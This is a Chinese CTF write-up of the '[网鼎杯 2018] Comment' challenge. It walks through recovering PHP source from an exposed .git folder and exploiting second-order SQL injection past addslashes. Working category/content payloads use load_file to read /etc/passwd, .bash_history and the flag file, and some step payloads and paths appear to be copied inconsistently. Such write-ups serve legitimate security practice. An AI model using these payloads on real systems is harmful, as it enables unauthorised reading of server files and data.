[网鼎杯 2018]Comment-1|SQL注入|二次注入

• 2022 年 8 月 24 日
• 笔记
• BUUCTF刷题记录, SQL注入

1、打开之后只有一个留言页面，很自然的就想到了二次注入得问题，顺带查看了下源代码信息，并没有什么提示，显示界面如下：

2、那先扫描一下目录，同时随便留言一个测试以下，但是显示需要登录，账户、密码给出了部分提示，但是最后三位密码需要爆破，结果如下：

3、扫描到了.git文件，那就使用githack尝试获取下源码信息，但是显示得源码信息不全，需要恢复，（这里在网上找了下，一直恢复不成功，后面再看），结果如下：

githack下载下来的：

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    break;
case 'comment':
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

完整得源码：

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

4、先随便进行一个发帖，然后提交留言，回显了我们的留言信息，那也就确定了二次注入的回显数据的地方，结果如下：

5、对获得的源代码进行分析，服务端在接受到我们的数据之后进行了转义处理（addslashes），但是数据在存到数据库中时还是存储的我们提交的数据，变化过程：’->\’->’，结合代码：

$sql = "insert into board
            set category = '$category',  //category参数可控
                title = '$title',
                content = '$content'";   
            
$sql = "select category from board where id='$bo_id'";   //直接取用我们可以控制的category参数

$sql = "insert into comment
            set category = '$category',          
                content = '$content', 
                bo_id = '$bo_id'";
//content参数可控并且会展示其内容，调用了我们可控的category参数，所以这条sql语句中就有两个地方我们可以直接控制

我们留言的内容在（content）：

 所以我们就需要把我们想看到的信息写入到content中，使其进行展示，加入我们想要获取database()的信息，那我们就应该形成：

$sql = "insert into comment
            set category = '$category',         
                content = database(),             
                bo_id = '$bo_id'";

这里很明显content参数的单引号去掉了，但是content参数有进行转义，所以导致这一情况的只能是category参数，这里想到了之前做过的一道题：//www.cnblogs.com/upfine/p/16545379.html，通过转义符使&passwd=成为了搜索的用户名内容（见下图），那这里我们也可以采用这种方式，因此构造我们的category的payload：\，我们的content的payload：,content=database(),#。结果如下：

6、在网上看到了另外一种方式，就是采用/**/来注释掉原来的content内容，其实两种方式原理差不多，一个是采用/**/注释掉content部分的内容，一个是采用\转移单引号，使content内容成为了category的写入内容（这里写入的是comment表，所以并不会影响原来从board获取的category值，写入之后语句中的category还是\，可以看上面图，在一个发帖中同时获取了user和database），网上category的payload：’,content=database(),/*，content的payload：*/#。结果如下：

7、然后就进获取表、列，具体的信息等，但是并没有获取flag，那就应该是存放在系统上的一个文件里了，读取下/etc/passwd，这里不要使用\转义，因为payload中存在单引号，使用这种方式时，导致payload语句中的单引号被转移，而无法执行;

所以这里我们就只能使用/**/注释掉content内容的方式了，category的payload：’,content=(select(load_file(‘/etc/passwd’))),/*，content的payload：*/#，读取的/etc/passwd信息如下：

8、www用户的目录是/home/www，读取一下.bash_history文件，查看下用户使用的命令，category的payload：’,content=(select(load_file(‘/home/www/.bash_history’))),/*，content的payload：*/#，发现了.DS_Store文件，结果如下：

.bash_history文件：

9、那就读取下.DS_Store文件，category的payload：’,content=(select(load_file(‘/home/www/.bash_history’))),/*，content的payload：*/#，结果如下（应该是没有读完）：

10、那就使用hex编码读取一下，category的payload：‘,content=(select hex(load_file(‘/tmp/html/.DS_Store’))),/*，content的payload：*/#，结果如下：

返回内容如下：

00000001427564310000100000000800000010000000040A000000000000000000000000000000000000000000000800000008000000000000000000000000000000000000000002000000000000000B000000010000100000730074007200610070496C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000B000000090062006F006F007400730074007200610070496C6F63626C6F62000000100000004600000028FFFFFFFFFFFF00000000000B0063006F006D006D0065006E0074002E007000680070496C6F63626C6F6200000010000000CC0000002800000001FFFF000000000003006300730073496C6F63626C6F62000000100000015200000028FFFFFFFFFFFF0000000000190066006C00610067005F0038003900340036006500310066006600310065006500330065003400300066002E007000680070496C6F63626C6F6200000010000001D800000028FFFFFFFFFFFF0000000000050066006F006E00740073496C6F63626C6F62000000100000004600000098FFFFFFFFFFFF0000000000090069006E006400650078002E007000680070496C6F63626C6F6200000010000000CC0000009800000002FFFF000000000002006A0073496C6F63626C6F62000000100000015200000098FFFFFFFFFFFF000000000009006C006F00670069006E002E007000680070496C6F63626C6F6200000010000001D800000098FFFFFFFFFFFF000000000009006D007900730071006C002E007000680070496C6F63626C6F62000000100000004600000108FFFFFFFFFFFF00000000000600760065006E0064006F0072496C6F63626C6F6200000010000000CC00000108FFFFFFFFFFFF00000000000C00770072006900740065005F0064006F002E007000680070496C6F63626C6F62000000100000015200000108FFFFFFFFFFFF0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000080B00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000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进行16进制转换（//www.toolscat.com/decode/hex），结果如下：

最终成功得到flag文件：flag_8946e1ff1ee3e40f.php。

11、读取下flag文件，category的payload：‘,content=(select hex(load_file(‘/var/www/html/flag_8946e1ff1ee3e40f.php‘))),/*，content的payload：*/#，结果如下：

返回信息如下：

3C3F7068700A0924666C61673D22666C61677B64363335303431392D326336372D343261392D386664352D3538663932653334363631647D223B0A3F3E0A

进行16进制转码，最终成功得到flag：flag{d6350419-2c67-42a9-8fd5-58f92e34661d}，结果如下：